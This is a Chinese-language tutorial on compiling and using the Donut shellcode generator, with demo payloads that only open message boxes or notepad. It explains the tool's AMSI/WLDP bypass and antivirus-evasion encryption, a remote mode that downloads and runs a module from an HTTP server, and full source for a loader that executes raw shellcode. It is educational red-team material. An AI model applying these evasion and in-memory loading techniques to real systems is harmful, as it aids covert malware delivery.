我做了一个关于shellcode入门和开发的专题👩🏻💻,主要面向对网络安全技术感兴趣的小伙伴。这是视频版内容对应的文字版材料,内容里面的每一个环境我都亲自测试实操过的记录,有需要的小伙伴可以参考。
我的个人主页:https://imbyter.com
目录
一、Donut是什么
二、Donut的特点
三、功能参数解读
四、Donut的编译
1. 将CMD设置为VS的x86编译环境变量
2. 编译源码获得loader_exe_x86.h文件
五、将CMD设置为VS的x64编译环境变量
编译源码获得最终文件
六、功能场景测试
1. 将原生exe转为shellcode
2. 将原生dll转为shellcode
3. 将.net exe转为shellcode
4. 将.net dll转为shellcode
5. 远程加载shellcode
6. 将vbs/js/xsl转为shellcode
7. shellcode加载器
七、集成开发
如何使用donut.dll文件
八、存在问题
1. 不支持转换的情况
2. 兼容性存在的问题
九、代码附件
对4.1测试exe源码
对4.2测试dll源码
对4.3测试.net exe源码
对4.4测试.net dll源码
对4.7shellcode加载器源码
十、参考资料
一、Donut是什么
Donut是一款shellcode生成器,可将C/C++、C#生成的PE文件转换为shellcode文件,同时支持JS、XSL、VBS脚本转换为shellcode。 Donut生成的shellcode可以从HTTP服务器上加载,也可以从本地加载。生成的shellcode模块支持128位比特随机密钥加密,支持压缩解压且支持AMSI与WLDP的Bypass。
二、Donut的特点
- 对目标文件转换为shellcode的过程中,支持数据压缩,包括aPLib、LZNT1、Xpress,,以及Xpress Huffman等五种算法。
- 使用通过函数字符串的hash值来定位API地址。
- 支持128位密钥对称加密。
- 支持对Windows的AMSI接口和WLDP策略的规避。
- 支持PE文件参数传入。
- 能够避免退出函数对主线程的强制退出行为(Patching exit-related API to avoid termination of host process)。
- 支持多种输出格式,包括C语言、Ruby、Python、Powershell、Base64、C#以及16进制格式。
- 支持静态库与动态库的生成,方便集成到第三方项目中。
三、功能参数解读
在命令行中直接输入 donut.exe 回车即可查看 donut 所支持的功能参数,如下:
选项 | 说明 | 描述 |
---|---|---|
-n | <name> | HTTP服 务 器 加 载 模 式 下 的 模 块 名 , 如 果 启 用 熵 等 级 , 则 模 块 名 随 机 。 |
-s | <server> | 在 HTTP服 务 器 中 用 来 存 储 模 块 的 URL地 址 。 |
-e | <level> | 熵 等 级 : 1=无 , 2=随 机 名 , 3=随 机 名 +加 密 ( 默 认 ) 。 |
-a | <arch> | 目 标 构 架 : 1=x86, 2=amd64, 3=x86+amd64( 默 认 ) 。 |
-b | <level> | 绕 过 AMSI/WLDP: 1=不 启 用 ( 默 认 ) , 2=启 用 , 失 败 则 终 止 , 3=启 用 , 失 败 仍 继 续 。 |
-o | <path> | 保 存 文 件 名 ( 含 路 径 ) , 默 认 是 "shellcode.bin"。 |
-f | <format> | 输 出 格 式 : 1=Binary (默 认 ), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex。 |
-y | <addr> | 为 加 载 器 创 建 线 程 , 并 在 提 供 地 址 处 继 续 执 行 。 |
-x | <action> | 退 出 : 1=退 出 线 程 ( 默 认 ) , 2=退 出 进 程 。 |
-c | <namespace.class> | 选 类 名 ( .NET DLL需 要 ) 。 |
-d | <name> | 为 .NET程 序 集 创 建 的 AppDomain名 称 。 如 果 启 用 了 熵 , 则 会 随 机 产 生 。 |
-m | `<method | api>` |
-p | <arguments> | DDL或 EXE的 可 选 参 数 或 命 令 行 ( 需 要 用 双 引 号 包 含 ) 。 |
-w | 传 递 给 标 准 动 态 链 接 库 DLL( 非 .Net DLL) 函 数 Unicode编 码 的 参 数 ( 默 认 是 ANSI) 。 | |
-r | <version> | CLR运 行 时 版 本 , 默 认 使 用 MetaHeader, 如 果 没 有 则 使 用 v4.0.30319。 |
-t | 将 标 准 的 EXE( 非 托 管 ) 入 口 点 作 为 线 程 执 行 。 | |
-z | <engine> | 打 包 /压 缩 文 件 : 1=None, 2=aPLib( 默 认 ) , 3=LZNT1, 4=Xpress, 5=Xpress Huffman。 |
本文使用的donut汉化版执行时,默认使用参数:
-a 3 -b 1 -e 3 -f 1 -x 1 -z 2 -o "shellcode.bin"
四、Donut的编译
在Windows下使用Microsoft Visual Studio进行编译:
1. 将CMD设置为VS的x86编译环境变量
将CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar32.bat。
2. 编译源码获得loader_exe_x86.h文件
- 将CMD切换到到donut根目录,执行nmake donut -f Makefile.msvc。
- 得到 loader_exe_x86.h,错误忽略。
五、将CMD设置为VS的x64编译环境变量
新打开CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar64.bat。
编译源码获得最终文件
- 将CMD切换到到donut目录,执行nmake donut -f Makefile.msvc。
- 得到 donut.exe、lib\donut.dll,以及lib\donut.lib文件。
六、功能场景测试
以下“原生”EXE/DLL指非托管PE文件(包括并不限于C/C++、delphie等编写生成的可执行文件),可以直接由系统加载运行,区别于.Net生成的托管文件。
1. 将原生exe转为shellcode
测试程序cexe.exe源代码见文末代码附件。
-
不带参数的exe文件转换为shellcode,直接执行:
donut.exe cexe.exe
-
实例类型:嵌入 表示原文件cexe.exe被嵌入到生成的shellcode内部了。
-
模块文件:"cexe.exe" 表示要处理的目标文件是cexe.xe。
-
熵:随机 + 加密 表示cexe.exe被转为shellcode时使用了随机密钥加密方式。我们可以对同一个cexe.exe连续进行两次处理,然后对比前后生成的两个文件,会发现两个文件数据并不一样。也就是说如果启用了熵的随机加密参数,那么每次生成的shellcode文件均不一样,在对于抗分析与免杀对抗有一定效果。使用“Beyond Compare”比较二文件效果(红色区域表示不同之处):
-
- 带参数的exe转换为shellcode,执行:
donut.exe CExe64.exe -p "参数1 参数2"
参数:参数1 参数2 表示对CExe64.exe文件传入了两个参数,一个是“参数1”,一个是“参数2”。 如果一个参数中有空格,则以"来包含,比如:> donut.exe CExe64.exe -p "\"参数1第一部分 参数1第二部分\" 参数2 参数3"
2. 将原生dll转为shellcode
-
无导出函数的dll转为shellcode
donut.exe CDll64.dll
-
有导出函数的dll转为shellcode
donut.exe CDll.dll -m fun
-
-m fun:表示执行dll的导出函数
fun
; -
函数:fun 表示生成的shellcode会调用dll的导出函数fun。
-
3. 将.net exe转为shellcode
donut.exe后面直接跟要转的.net exe即可:donut.exe DotNet.exe
4. 将.net dll转为shellcode
donut.exe DotDLl.dll -c TestClass -m RunProcess -p "calc notepad"
-c TestClass
:表示该程序类名为TestClass;-m RunProcess
:表示该程序入口函数为RunProcess;-p "calc notepad"
:表示传递了两个参数,一个calc,一个notepad;
5. 远程加载shellcode
donut支持从远程HTTP服务器获取shellcode并执行:donut.exe CExe32.exe -n a.php -s http://192.168.1.22
-n a.php
:表示生成放在HTTP服务器上的shellcode文件名为a.php;-s http://192.168.1.22
:表示本地运行"加载器shellcode"(即shellcode.bin)时,会从该URL获取a.php;- 模块名称:a.php CEexe32.exe转换的shellcode文件,需要放在http://192.168.1.22的根目录。
- 上传到:http://192.168.1.22 a.php需要放置的URL路径。
- shellcode:“shellcode.bin” 注意,此处生成的shellcode.bin并非包含CExe32.exe的shellcode,而是donut自带的用于从HTTP服务器下载并执行shellcode的功能模块。
6. 将vbs/js/xsl转为shellcode
-
将如下demo.vbs转为shellcode:
donut.exe demo.vbs
demo.vbs源码:
rem 获取主机名 Const HKEY_LOCAL_MACHINE = &H80000002 strRegKey = "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" Set objReg = GetObject( "winmgmts:{impersonationLevel=impersonate}!//./root/default:StdRegProv" ) objReg.GetStringValue HKEY_LOCAL_MACHINE, strRegKey, "Hostname", strHostname rem 获取系统版本 strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Msgbox "OS: " & objOperatingSystem.Caption & " " & objOperatingSystem.Version & chr(13) & "Host Name: " & strHostName Next
-
将如下demo.js转为shellcode:
donut.exe demo.js
demo.js源码:
var a = new ActiveXObject("WScript.Shell"); // 弹框提示1秒自动关闭 a.popup('Hello, imbyter.com',1,'title',0+64); // 打开记事本 a.Run("cmd.exe /c notepad.exe",0,true)
7. shellcode加载器
以上各种类型文件转为shellcode后,直接使用shellcode加载器(代码见下文)调用执行即可:
> LoadShellcode32.exe shellcode.bin
或
> LoadShellcode64.exe shellcode.bin
被处理exe/dll为32位程序,则需要用32为的shellcode加载器启用,exe/dll为64位的就用64位shellcode加载器启用。
七、集成开发
如何使用donut.dll文件
- 新建工程,将donut.h和donut.lib放到工程目录下:
- 如下代码:
结构体DONUT_CONFIG中的参数的宏定义,均可通过donut.h文件查看。#include "donut.h" #pragma comment(lib,"donut") int main() { DONUT_CONFIG dc; memset(&dc, 0, sizeof(DONUT_CONFIG)); dc.arch = DONUT_ARCH_X84; dc.bypass = DONUT_BYPASS_NONE; dc.compress = DONUT_COMPRESS_NONE; dc.exit_opt = DONUT_OPT_EXIT_THREAD; dc.format = DONUT_FORMAT_BINARY; dc.inst_type = DONUT_INSTANCE_EMBED; dc.entropy = DONUT_ENTROPY_DEFAULT; lstrcatA(dc.input, "CExe.exe"); // 目标文件 lstrcatA(dc.output, "shellcode.bin"); // 生成文件 int err = DonutCreate(&dc); return puts(DonutError(err)); }
- 将编译后生成的exe和donut.dll放在同一个目录下,运行exe,即可得到shellcode.bin文件。
八、存在问题
1. 不支持转换的情况
能转换的标准exe/dll的PE结构中必须含有重定位表(.reloc),不含重定位表的不能转换,会有如下提示:
2. 兼容性存在的问题
-
实测donut对部分带界面(Desktop Application)的exe支持并不友好;
-
对存在dll导出函数需要参数传递的时候,只能传递一个参数;
九、代码附件
对4.1测试exe源码
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
if (argc == 3)
{
// 额外有两个参数传入时
MessageBoxA(NULL, argv[1], argv[2], MB_OK);
}
else
{
// 只有一个或者没有额外参数传入时
MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
}
return 0;
}
对4.2测试dll源码
#include <stdio.h>
#include <windows.h>
extern "C" __declspec(dllexport) void __stdcall fun()
{
MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"DllMan测试", L"提示", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
对4.3测试.net exe源码
using System;
using System.Windows;
namespace DotNet
{
internal class Program
{
static void Main(string[] args)
{
MessageBox.Show("Hello, imbyter.com");
}
}
}
对4.4测试.net dll源码
using System.Diagnostics;
public class TestClass
{
public static void RunProcess(string path, string path2)
{
Process.Start(path);
Process.Start(path2);
}
}
对4.7shellcode加载器源码
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
if (argc == 2)
{
HANDLE hSCFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hSCFile == INVALID_HANDLE_VALUE)
{
return 0;
}
DWORD dwHighSize = 0;
DWORD dwFileSize = GetFileSize(hSCFile, &dwHighSize);
DWORD flOldProtect;
DWORD dwAlreadyRead = 0;
DWORD dwReadSum = 0;
LPVOID g_pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
VirtualProtect(g_pShellcode, dwFileSize, PAGE_EXECUTE_READWRITE, &flOldProtect);
ReadFile(hSCFile, (char*)g_pShellcode, dwFileSize, &dwAlreadyRead, NULL);
CloseHandle(hSCFile);
/* 以下方式调用shellcode用仅支持x86版本
_asm
{
pushad
call g_pShellcode
popad
}
*/
/* 以下方式调用shellcode能够x86和x64通用 */
typedef void (*FN_Shellcode)();
FN_Shellcode fn_Shellcode = (FN_Shellcode)g_pShellcode;
fn_Shellcode();
puts("the shellcode operation is successful!");
system("pause");
}
else
{
puts("e.g: TestShellcode.exe <shellcode file path>");
system("pause");
}
}
十、参考资料
- GitHub - TheWover/donut: Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters
- Donut - Injecting .NET Assemblies as Shellcode – The Wover – Red Teaming, .NET, and random computing topics
- Donut:将.NET程序集注入Windows进程 - FreeBuf网络安全行业门户
如果有任何问题,欢迎在我们的知识社群『imbyter代码酷』中提问。
一个人走得再快,不如一群人走得更远!🤜🤛